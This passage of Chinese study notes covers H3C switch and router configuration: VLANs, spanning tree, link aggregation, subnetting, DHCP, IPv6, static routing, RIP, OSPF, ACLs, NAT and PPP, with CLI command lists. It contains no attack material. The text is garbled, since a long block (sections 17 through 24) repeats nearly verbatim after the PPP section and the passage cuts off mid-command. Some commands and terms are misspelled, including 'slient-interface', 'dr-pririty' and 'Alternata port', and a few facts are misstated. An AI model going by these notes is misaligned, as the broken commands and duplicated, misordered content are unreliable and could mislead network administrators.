tag,但是缺省vlan除外;trunk端口收到未打tag的帧,会重新打上缺省vlan的tag一般用来连接交换机Hybrid可以允许多个vlan的数据通过;可以手动配置从Hybrid端口发出的帧,哪个vlan保留tag,哪个vlan剥离tag,缺省vlan必定剥离tag;Hybrid收到未打tag的帧,会重新打上缺省vlan的tag既可以连接PC/路由器,也可以连接交换机PVID定义:表示某个端口的缺省vlan;任何类型的端口转发tag中vlan id和pvid一致的帧,都会剥离tag特征Access端口所属的vlan就是pvid,不用配置,默认是vlan1Trunk端口需要手动配置pvid,默认是vlan 1Hybrid端口需要手动配置pvid,默认是vlan1总结任何端口收到未打tag的帧,都会打上缺省vlan的tag任何端口转发携带缺省vlan tag的帧,都会剥离tagVLAN类型基于端口的VLAN端口固定属于某个vlan基于Mac地址的VLANMac地址绑定到vlan,同一Mac地址的设备,无论连接在哪个端口,vlan归属不变端口类型需要配置为Hybrid基于协议的VLAN三层协议绑定到vlan,同一协议的报文,无论从哪个端口接收,vlan归属不变端口类型需要配置为Hybrid基于IP子网的VLANIP网段绑定到vlan,同一IP子网的设备,无论连接在哪个端口,vlan归属不变端口类型需要配置为HybridVLAN归属优先级Mac地址vlan>IP子网vlan>协议vlan>端口vlanVLAN常用命令[h3c]vlan 'vlan id':创建vlan,进入vlan视图`[h3c-vlan10]name 'text’:vlan命名`[h3c-vlan10]port 'port id':把端口以Access类型加入到vlan`[h3c-GigabitEthernet1/0/1]port link-type 'access/trunk/hybrid':配置端口类型`[h3c-GigabitEthernet1/0/1]port trunk permit vlan 'vlan-id-list/all':配置Trunk端口允许通过的vlan`[h3c-GigabitEthernet1/0/1]port trunk pvid 'vlan id':配置Trunk端口的缺省vlan`[h3c]display vlan ''vlan id':查看某个vlan详细信息`[h3c]display vlan brief:查看vlan摘要信息`[h3c]display port trunk:查看Trunk端口信息十二、生成树协议二层环路带来的问题广播风暴MAC地址表震荡生成树定义STP,用来解决二层环路问题STP相关概念BPDU,桥协议数据单元,用于传递STP协议相关报文分类:配置BPDU,用于传递STP的配置信息TCN BPDU,用于通告拓扑变更信息STP的选举机制(1)在所有交换机中选举出一台作为根网桥(Root bridge)选举规则: Bridge-id小的优先Brideg-id:桥ID,BID,用来标识交换机身份格式:优先级+Mac地址优先级默认32768,必须是4096的倍数(2)每台非根网桥(交换机)选举出一个根端口(Root port)选举规则:到达根网桥开销小的优先对端交换机BID小的优先端口ID小的优先开销,Cost,代表路径耗费的代价和成本,带宽越大,开销越小(3)每个物理段上选举出一个指定端口(Designated port)选举规则:到达根网桥开销小的优先本机BID小的优先端口ID小的优先(4)剩下没有角色的端口就是闭塞端口(Blocked Port)STP初始化流程交换机端口状态disable:禁用状态,被关闭的端口blocking:闭塞状态,接收BPDU,但不发送BPDU,不学习Mac地址,不转发数据listening:监听状态,接收并发送BPDU,不学习Mac地址,不转发数据,持续15秒learning:学习状态,接收并发送BPDU,学习Mac地址,不转发数据,持续15秒forwarding:转发状态,接收并发送BPDU,学习Mac地址,转发数据STP计时器Hello time2秒配置BPDU的发送周期Max age20秒判断链路故障的时间,10个Hello time周期Forwarding delay15秒状态切换延迟STP拓扑变更机制Max age超时/有接口变更为转发状态,判断为拓扑发生变更,向根网桥发起TCN BPDU收到TCN BPDU的交换机继续向根网桥转发TCN BPDU,到达根网桥为止根网桥收到TCN BPDU后,向所有端口发起TC置位的配置BPDU交换机收到TC置位的配置BPDU后,Mac地址表的老化时间缩短到15秒STP的问题收敛速度慢,故障切换时间太长网络中大量主机频繁上下线,会导致TCN BPDU大量发送RSTP快速生成树协议端口状态减少到3种端口角色增加到4种根端口和指定端口不变闭塞端口细分为2种替代端口(Alternata port),根端口的备份备份端口(Backup port),指定端口的备份边缘端口机制当链路激活,边缘端口立即进入转发状态,不参与STP计算边缘端口UP/DOWN不会触发拓扑变更建议把连接PC的端口配置为边缘端口MSTP多生成树协议将多个vlan捆绑到一个生成树实例,每个实例分别独立计算生成树基于STP计算结果不同,实现不同vlan的流量负载均衡STP常用命令[h3c]display stp:查看STP相关信息[h3c]display stp brief:查看STP端口状态[h3c]stp global enable:全局启用STP[h3c-GigabitEthernet 1/0/1]undo stp enable:关闭端口上STP[h3c]stp mode 'stp/rstp/mstp':更改STP模式,默认模式是mstp[h3c]stp priority 'priority':更改交换机优先级[h3c-GigabitEthernet 1/0/1]stp cost 'cost':更改接口生成树的cost[h3c-GigabitEthernet 1/0/1]stp edged-port:配置端口为边缘端口十三、链路聚合定义把连接到同一台交换机上的多个物理端口捆绑为一个逻辑端口功能提高链路可靠性:聚合组内只要还有物理端口存活,链路就不会中断增加链路传输带宽:避免了STP计算,聚合组内物理端口不会被闭塞负载分担也称负载均衡聚合后的链路会基于流自动负载分担分类静态聚合:双方不会协商聚合参数动态聚合:双方通过LACP协议协商聚合参数常用命令[h3c]interface bridge-aggregation 'number':创建聚合端口,进入聚合端口视图[h3c-GigabitEthernet 1/0/1]port link-aggregation group 'number':物理接口加入聚合组[h3c]display link-aggregation summary:查看聚合链路信息十四、交换机端口安全技术802.1X定义起源于WLAN协议802.11,解决局域网终端的接入认证问题认证方式本地认证远程集中认证端口接入控制方式基于端口认证基于Mac地址认证端口隔离技术用于在同vlan内部隔离用户同一隔离组端口不能通讯,不同隔离组端口可以通讯十五、IP子网划分子网掩码产生背景通过自然分类来划分网络规模会造成大量IP地址浪费IPv4地址资源已经全部耗尽定义由连续的1或0组成的32位掩码,用来衡量IP地址网络位的长度1对应的部分为网络位0对应的部分为主机位分类主类掩码,和自然分类一致的子网掩码VLSM,可变长子网掩码,通过把子网掩码变长来把一个网段划分为多个子网CIDR,无类域间路由,通过把子网掩码缩短来把多个网段聚合为一个网段常见子网划分对应关系25:255.255.255.128,126个可用地址26: 255.255.255.192,62个可用地址27:255.255.255.224,30个可用地址28:255.255.255.240,14个可用地址29:255.255.255.248,6个可用地址30:255.255.255.252,2个可用地址31:255.255.255.254,2个可用地址,PPP链路可用32:255.255.255.255,1个可用地址,设备的Loopback接口可用十六、DNS域名产生背景通过IP地址访问目标主机,不便于记忆通过容易记忆的域名来标识主机位置域名的树形层次化结构根域顶级域,主机所处的国家/区域,注册人的性质二级域,注册人自行创建的名称主机名,区域内部的主机的名称定义用于域名和IP地址的互相解析DNS查询模式递归查询:DNS服务器一定会返回一个确切的查询结果客户端到DNS的查询迭代查询:DNS服务器会返回一个已知的其他DNS服务器,由请求者自行查询DNS服务器到DNS服务器的查询H3C配置DNS代理[h3c]dns proxy enable
[h3c]dns server '公网DNS地址'内网终端DNS服务器指向为本路由器十七、文件传输协议FTP定义文件传输协议客户端/服务器模型,具备身份验证功能双TCP连接端口控制连接:21,用于传输FTP命令和执行信息数据连接:20,用于数据上传、下载数据传输方式主动方式:数据连接由服务器主动发起控制连接:21端口数据连接:20端口被动方式:数据连接由客户端主动发起控制连接:21端口数据连接:服务器随机产生端口TFTP简单文件传输协议基于UDP,69号端口只有数据传输功能,不提供身份验证,目录列表等功能常用命令[h3c]ftp server enable:开启FTP服务<h3c>ftp 'ip address':连接FTP服务器ftp>ls:列出当前目录ftp>get 'fliename':下载文件ftp>put 'filename':上传文件ftp>bye;断开FTP连接十八、DHCP产生背景局域网中手动配置静态IP地址任务繁琐,而且容易出错定义动态主机配置协议用于为局域网中主机动态分配IP地址及相关信息采用客户端/服务器模式服务端端口UDP 67客户端端口UDP 68工作原理分配IP地址工作流程客户端以全网广播形式发起IP地址请求服务器以全网单播形式向客户端发送IP地址提供客户端选择好IP地址后,以全网广播形式向服务器通告选择结果服务器向客户端以全网单播形式发送IP地址确认特殊情况的处理当网络中存在多台DHCP服务器,客户端会优先选择最先到达的IP地址提供IP地址租约更新租期到达50%,客户端如在线,会向服务器发起租约更新请求租期到达87.5%,客户端如在线,会向服务器发起租约更新请求DHCP中继代理用于跨网段分配IP地址IP地址请求的相关报文都是广播发送,无法跨越网段,所以需要在中间路由器开启DHCP中继代理功能相关命令[h3c]dhcp enable:开启DHCP服务[h3c]dhcp server ip-pool 'name':创建DHCP地址池[h3c-dhcp-pool1]network 'network' mask 'mask':配置用于分配的地址范围[h3c-dhcp-pool1]gateway-list 'ip address':配置用于分配的网关地址[h3c-dhcp-pool1]dns-list 'ip address':配置用于分配的DNS服务器地址[h3c-dhcp-pool1]expired ……:配置DHCP租期[h3c]dhcp server forbidden-ip 'start ip address' 'end ip address':配置不参与分配的IP地址[h3c-GigabitEthernet 0/0]dhcp select relay:接口上开启DHCP中继功能[h3c-GigabitEthernet 0/0]dhcp relay server-address 'ip address':指定用于中继的DHCP服务器地址[h3c]display dhcp server statistics:查看DHCP服务器统计信息十九、VLAN间路由定义指导设备对不同vlan间进行三层数据转发实现方式单臂路由交换机上划分多个VLAN路由器单线连接到交换机路由器接口,划分若干子接口,子接口的IP为下连vlan的网关,并绑定相应vlan交换机接口,配置TRUNK,允许所有vlan通过三层交换三层交换机上启用vlanif三层接口,配置为网关IP自动产生所有到达所有vlan的直连路由常用命令[h3c]interface 'sub-interface':创建子接口,进入子接口视图[h3c-GigabitEthernet0/0.1]vlan-type dot1q vid 'vlan-id':子接口开启802.1Q识别,并绑定Vlan[h3c]interface vlan-interface 'vlan-id':创建Vlanif三层接口,进入Vlanif接口视图二十、IPv6基础IPv4的问题地址资源已经全部耗尽终端用户配置不够简便协议本身不具备安全性和QOS特性IPv6的优势几乎无尽的地址空间,3.4X10^38个可用地址终端用户无需任何配置,甚至不需要DHCP协议自带安全性和QOS特性地址格式冒号十六进制格式每段16位,共8段,一共128位地址书写压缩段内前导0压缩段内前导的0可省略全为0的段压缩为一个0全0段压缩连续为0的段可用::表示一个IPv6地址内只允许使用一次全0段压缩网段划分前缀:前缀长度和数字一致则为同一网段接口标识符:根据Mac地址计算而来,全球唯一前缀长度:标识前缀的长度地址分类单播地址未指定地址:::/128本地环回地址:::1/128链路本地地址:FE80::/10仅用于同网段内部通讯,自动生成FE80::接口标识符/10站点本地地址:FEC0::/10私有地址全球单播地址:2000::/3组播地址标识组播地址广播地址属于一种特殊的组播地址任播地址用于智能寻路,寻找最近的下一跳从单播地址中分配IPv6邻居发现协议地址解析,类似ARP邻居关系建立和维持路由器发现/前缀发现地址自动配置1.终端发送RD消息,请求路由器的前缀和前缀长度2.路由器回复本机的前缀和前缀长度3.终端使用路由器回复的前缀+接口标识符/前缀长度,自动产生IPv6全球单播地址地址重复检测常用命令[h3c-GigabitEthernet 0/0]ipv6 address 'ipv6 address':配置静态IPv6地址[h3c-GigabitEthernet 0/0]ipv6 address auto:配置为自动产生IPv6地址[h3c-GigabitEthernet 0/0]undo ipv6 nd ra halt:解除路由器ND消息抑制二十一、IP路由原理定义路由器负责将数据报文在IP网段之间进行转发路由是指导路由器如何进行数据转发的路径信息IP连通的前提沿途的每台路由器上都有到达目的网段的路由信息路由是单向的路径信息,沿途每台路由器都要有往返双向路由信息路由表作用存储路由信息字段内容Destination/mask:目的网段和掩码Proto:路由的来源Pre:优先级Cost:度量值Nexthop:下一跳地址,数据报文从接口发出后到达的下一个IP地址Interface:出接口,数据报文发出的接口最长掩码匹配规则:当数据包在路由表中匹配到多条掩码长度不同的路由,会按照掩码最长的路由进行转发路由迭代规则:当路由的下一跳为非直连网段地址,路由器会再次在路由表中查询下一跳地址,直到查询到下一跳是直连地址为止来源直连路由,根据直连接口所在网段自动产生产生条件:- 接口UP
- 接口配置IP地址
静态路由:定义:手动配置到达每个目的网段的路由信息特点:配置和维护繁琐复杂,没有协议开销,减轻设备和带宽压力动态路由协议定义:通过路由协议从邻居自动学习路由信息特点:配置简单,维护便捷,协议开销会消耗设备资源和链路资源常见路由协议RIP,路由信息协议,年代久远,已经被淘汰OSPF,开放式最短路径优先,目前最主流的路由协议BGP,边界网关协议,运营商之间使用的唯一协议路由表写表规则不同来源的路由优先级高(数字小)的优先同一来源的路由Cost小的优先同一来源Cost相等的路由会形成等价路由,数据流会在等价路由上自动负载分担路由优先级直连路由(Direct):0OSPF内部路由:10静态路由:60RIP:100OSPF外部路由:150BGP:255常用命令[h3c]display ip routing-table:查看路由表[h3c]display ip routing-table 'network' 'mask':查看指定网段的路由信息二十二、静态路由配置要点如下一跳所在接口是点到点接口,可以以指出接口的方式来配置静态路由如下一跳所在接口是以太网接口,只能以指下一跳来配置静态路由默认路由目的网段为0.0.0.0/0当数据包在路由表中匹配不到明细路由时,按照默认路由转发常用命令[h3c]ip route-static 'network' 'mask' 'nexthop/interface':配置静态路由[h3c]ip route-static 'network' 'mask' 'nexthop/interface' preference 'number':配置静态路由并修改优先级二十三、路由协议概述定义路由协议,用来计算、维护网络路由信息的协议可路由协议,可被路由转发的协议,通常指IP路由协议的功能邻居发现路由交换路由计算路由维护路由协议的分类按照使用位置分类IGP:内部网关协议,运行在自治系统内部的路由协议,RIP,OSPF,IS-ISEGP:外部网关协议,运行在自治系统之间的路由协议,BGP自治系统AS一组被统一管理,运行同一个IGP的路由器组成的网络范围一般不同城域网都是不同的AS,不同运营商也是不同的AS按照协议算法分类距离矢量协议,度量值是跳数,RIP链路状态协议,度量值是开销,OSPF IS-IS路径矢量协议,有多种度量值,BGP二十四、RIP定义路由信息协议,基于距离矢量算法基于UDP端口520RIP初始化流程RIP运行后,会从每个参与协议的接口上以广播形式发送路由请求收到路由请求后,将自己完整的路由表以广播形式响应收到路由响应后,根据计算规则,把路由写入到路由表路由信息会按照发送方向逐跳扩散路由信息更新路由响应报文会以30秒为周期发送,以对网络变化进行更新RIP的环路问题产生原因链路故障,导致路由从表中删除30秒的更新周期还未到来,提前收到了邻居传递过来的刚刚被删除的路由,形成环路防环机制水平分割:从某个接口收到的路由信息不会从该接口回传毒性逆转:从某个接口收到的路由信息会设置为16跳后回传路由毒化:当路由失效,标记为16跳,并通告邻居,使邻居及时删除路由抑制计时器:计时时间内,不接收和原路由跳数一致或更高的路由更新触发更新:当路由失效,不用等待更新周期,立即发出路由更新,来通告错误最大跳数:不接收跳数大于15跳的路由更新RIP计时器更新计时器:30秒失效计时器:180秒,路由打上possibly down标签,路由设置为16跳垃圾收集计时器:240秒,彻底删除路由抑制计时器:180秒,路由信息失效,被打上PD标签,从其他接口收到比原路由更差的路由更新RIPv2报文以组播发送,组播地址224.0.0.9路由更新携带子网掩码可以关闭自动聚合,支持手动聚合支持身份验证常用命令[h3c]rip 'process id':创建RIP进程,进入RIP协议视图[h3c-rip-1]version 2:更改RIP版本为v2[h3c-rip-1]undo summary:关闭自动聚合[h3c-rip-1]network 'network':宣告网段,network命令的2层功能,使能接口(每个接口的IP地址与宣告的网段进行匹配,被匹配的接口能够收发RIP协议报文),使能路由(每个接口的IP地址与宣告的网段进行匹配,被匹配的接口所产生的直连路由能够传递给邻居)[h3c-rip-1]silent-interface 'interface number':配置静默接口,静默接口上不会收发RIP协议报文[h3c-GigabitEthernet 0/0]rip authentication mode ……:配置RIP接口身份验证二十五、OSPFRIP的缺陷最大跳数限制了网络规模以跳数为度量值无法准确判断最优路径路由更新发送完整路由表消耗网络带宽收敛速度慢协议会产生路由自环定义开放式最短路径优先,基于链路状态特征工作在IP层,协议号89OSPF初始化流程1.建立邻居和邻接关系发送hello报文发现和建立邻居关系,组播地址224.0.0.5接口UP双方接口IP地址在同一网段双方接口在同一区域……选举DR/BDR,建立邻接关系DR/BDR选举选举原因,广播网络中使路由信息交换更加高速有序选举范围,每条广播链路上都需要选举出一个DR和一个BDR选举规则1.优先级大的优先,默认优先级都是12.Router-id大的优先Router-id定义,Rid,标识路由器的身份产生方法:手动配置一个IPv4地址格式作为Rid自动选举1.在所有环回口中选举IP地址最大的作为Rid2.在所有物理接口中选举IP地址最大的作为Rid建议手动配置一个本地环回口的IP地址作为Rid关系状态DRother与DR建立邻接关系DRother与BDR建立邻接关系DR与BDR建立邻接关系DRother之间保持邻居关系2.邻接路由器之间交换链路状态信息,实现区域内链路状态数据库同步相关概念链路状态通告,LSA,用来描述路由器的接口、路由条目的相关信息,向邻接路由器发送DD报文,通告本地LSDB中所有LSA的摘要信息链路状态数据库,LSDB,存储本地所有LSA工作流程收到DD后,与本地LSDB对比,向对方发送LSR报文,请求发送本地所需的LSA的完整信息收到LSR后,把对方所需的LSA的完整信息打包为一条LSU报文,发送至对方收到LSU后,向对方回复LSAck报文,进行确认3.每台路由器根据本机链路状态数据库,计算到达每个目的网段的最优路由,写入路由表OSPF分区域管理分区域的原因加快收敛速度把网络故障隔离在区域内部路由器角色IR,普通路由器,所有接口都处于普通区域BR,骨干路由器,所有接口都处于骨干区域ABR,区域边界路由器,连接不同区域的路由器ASBR,自治系统边界路由器,连接外部自治系统的路由器区域类型骨干区域,只能有一个骨干区域,骨干区域必须是连续的非骨干区域,非骨干区域必须连接到骨干区域特殊区域常用命令[h3c]ospf 'process id' router-id 'rid':开启OSPF进程,指定Router-id,进入OSPF协议视图[h3c-ospf-1]area 'area id':进入区域视图[h3c-ospf-1-area 0.0.0.0]network 'ip address' 'wild-mask':宣告网段wild-mask:掩码通配符0对应的部分需要匹配一致,1对应的部分不检查[h3c-ospf-1]slient-interface 'interface id':配置静默接口[h3c-GigabitEthernet 0/0]ospf dr-pririty 'priority':修改OSPF接口优先级[h3c-GigabitEthernet 0/0]ospf cost 'cost':修改接口OSPF开销<h3c>reset ospf 'process id' process:重置OSPF进程[h3c]display ospf peer:查看OSPF邻居关系FULL:邻接关系2-Way:邻居关系[h3c]display ospf lsdb:查看OSPF链路状态数据库[h3c]display ospf routing:查看OSPF路由二十六、ACL包过滤ACL定义访问控制列表用于数据流的匹配和筛选常见功能访问控制:ACL+Packet-filter路由控制:ACL+Route-policy流量控制:ACL+QOS基于ACL的包过滤定义对进出的数据包逐包检查,丢弃或允许通过包过滤必须配置在接口的某个方向上才能生效一个接口的一个方向只能配置一个包过滤策略包过滤的方向入方向:只对从外部进入的数据包做过滤出方向:只对从内部发出的数据包做过滤包过滤的工作流程数据包到达接口检查是否应用了ACL,是则进入匹配,否则放行按照ACL编号匹配第一条规则,匹配则进一步检查该条规则动作,否则与下一条规则进行匹配动作允许则放行动作拒绝则丢弃继续进行匹配,如匹配则检查规则动作,否则与下一条进行匹配所有规则都不匹配,检查默认动作默认动作允许则放行默认动作拒绝则丢弃注意事项如果默认动作是允许,至少需要一条拒绝规则如果默认动作是拒绝,至少需要一条允许规则H3C的ACL用于包过滤默认允许,用于其他默认拒绝把小范围的规则分配一个靠前的顺序在不影响实际效果前提下,把包过滤尽量配置在离源地址最近的接口的入方向ACL分类基本ACL只对数据包的源地址进行匹配编号2000-2999高级ACL对数据包的五元组进行匹配(源IP,目的IP,源端口,目的端口,协议)编号3000-3999常用命令[h3c]acl basic 'acl-number':创建基本ACL,进入ACL视图[h3c]acl advanced 'acl-number':创建高级ACL,进入ACL视图[h3c-acl-basic-2000]rule 'rule id' 'permit/deny' source 'ip address' 'wild-mask':创建基本ACL规则,如不写rule-id,则系统自动从0开始以5的倍数增加序号[h3c-acl-basic-3000]rule 'rule id' 'protocol' source 'ip address' 'wild-mask' source-port 'port' destination 'ip address' 'wild-mask' destination-port 'port':创建高级ACL规则[h3c-GigabitEthernet 0/0]packet-filter 'acl number' 'inbound/outbound':配置包过滤[h3c]packet-filter default deny:更改默认动作为拒绝二十七、NAT产生背景IPv4公网地址资源耗尽IPv6普及遥遥无期子网划分杯水车薪定义网络地址转换通过把私有地址转换为公有地址,使私有IP地址主机可以访问互联网,来解决公网地址不够用的问题分类静态 NAT把公有地址一对一的静态映射给私有地址使用基本 NAT建立公有地址池,把地址池中的公有地址动态的映射给私有地址使用本质上仍然是一对一的映射NAPT把公有地址和端口动态的映射给私有地址和端口,实现一个公有地址可以供多个私有地址同时使用访问互联网转换源IP和源端口,数据回包还原目的IP和目的端口Easy IPNAPT的一种简易实现形式适用于公网地址不固定的场景NAT Server把公网IP的某个端口固定映射到私网IP的某个端口,让公网上的用户可以主动访问私网中的服务转换目的IP和目的端口,数据回包还原源IP和源端口也称端口映射常用命令[h3c]nat address-group 'group-number':创建 NAT 公网地址池[h3c-address-group-1]address 'start-ip' 'end-ip':设置地址池的地址范围[h3c-GigabitEthernet0/0]nat outbound 'acl-number' address-group 'group-number':在公网接口上配置 NAPT[h3c-GigabitEthernet0/0]nat outbound 'acl-number':在公网接口上配置 Easy IP[h3c-GigabitEthernet0/0]nat server protocol 'tcp/udp/icmp' global 'global-address' 'global-port' inside 'inside-address' 'inside-port':在公网接口上配置NAT Server二十八、PPP定义点到点协议在串行线路上运行的协议特点支持身份验证支持地址自动协商工作阶段阶段1,LCP阶段,链路状态协商阶段2,验证阶段,可选阶段3,NCP阶段,IP地址协商验证验证方式PAP两次握手用户名和密码在网络中明文传输CHAP三次握手密码不在网络中传输,更安全验证分类单向验证:主验证方对被验证方进行验证双向验证:双方互相验证PPP-MP把两台路由器之间的多条PPP链路捆绑成一条逻辑PPP链路功能实现链路冗余增加链路带宽要点IP地址配置在MP口上身份验证配置在物理口上常用命令[h3c-Serial1/0]ppp authentication-mode 'pap/chap':设置接口开启PPP验证,并指定验证方式[h3c-Serial1/0]ppp pap local-user 'username' password 'simple/cipher' 'password':被验证方设置接口上用于pap验证的用户和密码[h3c-Serial1/0]ppp chap user 'username':被验证方设置接口上用于chap验证的用户[h3c-Serial1/0]ppp chap password 'simple/cipher' 'password':被验证方设置接口上用于chap验证的密码[h3c]interface mp-group 'group-number':创建PPP-MP口,进入MP口接口视图[h3c-Serial1/0]ppp mp mp-group 'group-number':物理接口加入到MP口双向验证时,如果两端用于验证的用户名和密码一致,则在PPP接口下只用指定用户名,不用指定密码H3C配置DNS代理[h3c]dns proxy enable
[h3c]dns server '公网DNS地址'内网终端DNS服务器指向为本路由器十七、文件传输协议FTP定义文件传输协议客户端/服务器模型,具备身份验证功能双TCP连接端口控制连接:21,用于传输FTP命令和执行信息数据连接:20,用于数据上传、下载数据传输方式主动方式:数据连接由服务器主动发起控制连接:21端口数据连接:20端口被动方式:数据连接由客户端主动发起控制连接:21端口数据连接:服务器随机产生端口TFTP简单文件传输协议基于UDP,69号端口只有数据传输功能,不提供身份验证,目录列表等功能常用命令[h3c]ftp server enable:开启FTP服务<h3c>ftp 'ip address':连接FTP服务器ftp>ls:列出当前目录ftp>get 'fliename':下载文件ftp>put 'filename':上传文件ftp>bye;断开FTP连接十八、DHCP产生背景局域网中手动配置静态IP地址任务繁琐,而且容易出错定义动态主机配置协议用于为局域网中主机动态分配IP地址及相关信息采用客户端/服务器模式服务端端口UDP 67客户端端口UDP 68工作原理分配IP地址工作流程客户端以全网广播形式发起IP地址请求服务器以全网单播形式向客户端发送IP地址提供客户端选择好IP地址后,以全网广播形式向服务器通告选择结果服务器向客户端以全网单播形式发送IP地址确认特殊情况的处理当网络中存在多台DHCP服务器,客户端会优先选择最先到达的IP地址提供IP地址租约更新租期到达50%,客户端如在线,会向服务器发起租约更新请求租期到达87.5%,客户端如在线,会向服务器发起租约更新请求DHCP中继代理用于跨网段分配IP地址IP地址请求的相关报文都是广播发送,无法跨越网段,所以需要在中间路由器开启DHCP中继代理功能相关命令[h3c]dhcp enable:开启DHCP服务[h3c]dhcp server ip-pool 'name':创建DHCP地址池[h3c-dhcp-pool1]network 'network' mask 'mask':配置用于分配的地址范围[h3c-dhcp-pool1]gateway-list 'ip address':配置用于分配的网关地址[h3c-dhcp-pool1]dns-list 'ip address':配置用于分配的DNS服务器地址[h3c-dhcp-pool1]expired ……:配置DHCP租期[h3c]dhcp server forbidden-ip 'start ip address' 'end ip address':配置不参与分配的IP地址[h3c-GigabitEthernet 0/0]dhcp select relay:接口上开启DHCP中继功能[h3c-GigabitEthernet 0/0]dhcp relay server-address 'ip address':指定用于中继的DHCP服务器地址[h3c]display dhcp server statistics:查看DHCP服务器统计信息十九、VLAN间路由定义指导设备对不同vlan间进行三层数据转发实现方式单臂路由交换机上划分多个VLAN路由器单线连接到交换机路由器接口,划分若干子接口,子接口的IP为下连vlan的网关,并绑定相应vlan交换机接口,配置TRUNK,允许所有vlan通过三层交换三层交换机上启用vlanif三层接口,配置为网关IP自动产生所有到达所有vlan的直连路由常用命令[h3c]interface 'sub-interface':创建子接口,进入子接口视图[h3c-GigabitEthernet0/0.1]vlan-type dot1q vid 'vlan-id':子接口开启802.1Q识别,并绑定Vlan[h3c]interface vlan-interface 'vlan-id':创建Vlanif三层接口,进入Vlanif接口视图二十、IPv6基础IPv4的问题地址资源已经全部耗尽终端用户配置不够简便协议本身不具备安全性和QOS特性IPv6的优势几乎无尽的地址空间,3.4X10^38个可用地址终端用户无需任何配置,甚至不需要DHCP协议自带安全性和QOS特性地址格式冒号十六进制格式每段16位,共8段,一共128位地址书写压缩段内前导0压缩段内前导的0可省略全为0的段压缩为一个0全0段压缩连续为0的段可用::表示一个IPv6地址内只允许使用一次全0段压缩网段划分前缀:前缀长度和数字一致则为同一网段接口标识符:根据Mac地址计算而来,全球唯一前缀长度:标识前缀的长度地址分类单播地址未指定地址:::/128本地环回地址:::1/128链路本地地址:FE80::/10仅用于同网段内部通讯,自动生成FE80::接口标识符/10站点本地地址:FEC0::/10私有地址全球单播地址:2000::/3组播地址标识组播地址广播地址属于一种特殊的组播地址任播地址用于智能寻路,寻找最近的下一跳从单播地址中分配IPv6邻居发现协议地址解析,类似ARP邻居关系建立和维持路由器发现/前缀发现地址自动配置1.终端发送RD消息,请求路由器的前缀和前缀长度2.路由器回复本机的前缀和前缀长度3.终端使用路由器回复的前缀+接口标识符/前缀长度,自动产生IPv6全球单播地址地址重复检测常用命令[h3c-GigabitEthernet 0/0]ipv6 address 'ipv6 address':配置静态IPv6地址[h3c-GigabitEthernet 0/0]ipv6 address auto:配置为自动产生IPv6地址[h3c-GigabitEthernet 0/0]undo ipv6 nd ra halt:解除路由器ND消息抑制二十一、IP路由原理定义路由器负责将数据报文在IP网段之间进行转发路由是指导路由器如何进行数据转发的路径信息IP连通的前提沿途的每台路由器上都有到达目的网段的路由信息路由是单向的路径信息,沿途每台路由器都要有往返双向路由信息路由表作用存储路由信息字段内容Destination/mask:目的网段和掩码Proto:路由的来源Pre:优先级Cost:度量值Nexthop:下一跳地址,数据报文从接口发出后到达的下一个IP地址Interface:出接口,数据报文发出的接口最长掩码匹配规则:当数据包在路由表中匹配到多条掩码长度不同的路由,会按照掩码最长的路由进行转发路由迭代规则:当路由的下一跳为非直连网段地址,路由器会再次在路由表中查询下一跳地址,直到查询到下一跳是直连地址为止来源直连路由,根据直连接口所在网段自动产生产生条件:- 接口UP
- 接口配置IP地址
静态路由:定义:手动配置到达每个目的网段的路由信息特点:配置和维护繁琐复杂,没有协议开销,减轻设备和带宽压力动态路由协议定义:通过路由协议从邻居自动学习路由信息特点:配置简单,维护便捷,协议开销会消耗设备资源和链路资源常见路由协议RIP,路由信息协议,年代久远,已经被淘汰OSPF,开放式最短路径优先,目前最主流的路由协议BGP,边界网关协议,运营商之间使用的唯一协议路由表写表规则不同来源的路由优先级高(数字小)的优先同一来源的路由Cost小的优先同一来源Cost相等的路由会形成等价路由,数据流会在等价路由上自动负载分担路由优先级直连路由(Direct):0OSPF内部路由:10静态路由:60RIP:100OSPF外部路由:150BGP:255常用命令[h3c]display ip routing-table查看路由表[h3c]display ip routing-table 'network' 'mask'查看指定网段的路由信息二十二、静态路由配置要点如下一跳所在接口是点到点接口,可以以指出接口的方式来配置静态路由如下一跳所在接口是以太网接口,只能以指下一跳来配置静态路由默认路由目的网段为0.0.0.0/0当数据包在路由表中匹配不到明细路由时,按照默认路由转发常用命令[h3c]ip route-static 'network' 'mask' 'nexthop/interface'配置静态路由[h3c]ip route-static 'network' 'mask' 'nexthop/interface' preference 'number'配置静态路由并修改优先级二十三、路由协议概述定义路由协议用来计算、维护网络路由信息的协议可路由协议可被路由转发的协议,通常指IP路由协议的功能邻居发现路由交换路由计算路由维护路由协议的分类按照使用位置分类IGP:内部网关协议,运行在自治系统内部的路由协议,RIP,OSPF,IS-ISEGP:外部网关协议,运行在自治系统之间的路由协议,BGP自治系统AS一组被统一管理,运行同一个IGP的路由器组成的网络范围一般不同城域网都是不同的AS,不同运营商也是不同的AS按照协议算法分类距离矢量协议,度量值是跳数,RIP链路状态协议,度量值是开销,OSPF IS-IS路径矢量协议,有多种度量值,BGP二十四、RIP定义路由信息协议,基于距离矢量算法基于UDP端口520RIP初始化流程RIP运行后,会从每个参与协议的接口上以广播形式发送路由请求收到路由请求后,将自己完整的路由表以广播形式响应收到路由响应后,根据计算规则,把路由写入到路由表路由信息会按照发送方向逐跳扩散路由信息更新路由响应报文会以30秒为周期发送,以对网络变化进行更新RIP的环路问题产生原因链路故障,导致路由从表中删除30秒的更新周期还未到来,提前收到了邻居传递过来的刚刚被删除的路由,形成环路防环机制水平分割:从某个接口收到的路由信息不会从该接口回传毒性逆转:从某个接口收到的路由信息会设置为16跳后回传路由毒化:当路由失效,标记为16跳,并通告邻居,使邻居及时删除路由抑制计时器:计时时间内,不接收和原路由跳数一致或更高的路由更新触发更新:当路由失效,不用等待更新周期,立即发出路由更新,来通告错误最大跳数:不接收跳数大于15跳的路由更新RIP计时器更新计时器:30秒失效计时器:180秒,路由打上possibly down标签,路由设置为16跳垃圾收集计时器:240秒,彻底删除路由抑制计时器:180秒,路由信息失效,被打上PD标签,从其他接口收到比原路由更差的路由更新RIPv2报文以组播发送,组播地址224.0.0.9路由更新携带子网掩码可以关闭自动聚合,支持手动聚合支持身份验证常用命令[h3c]rip 'process id':创建RIP进程,进入RIP协议视图[h3c-rip-1]version 2:更改RIP版本为v2[h3c-rip-1]undo summary:关闭自动聚合[h3c-rip-1]network 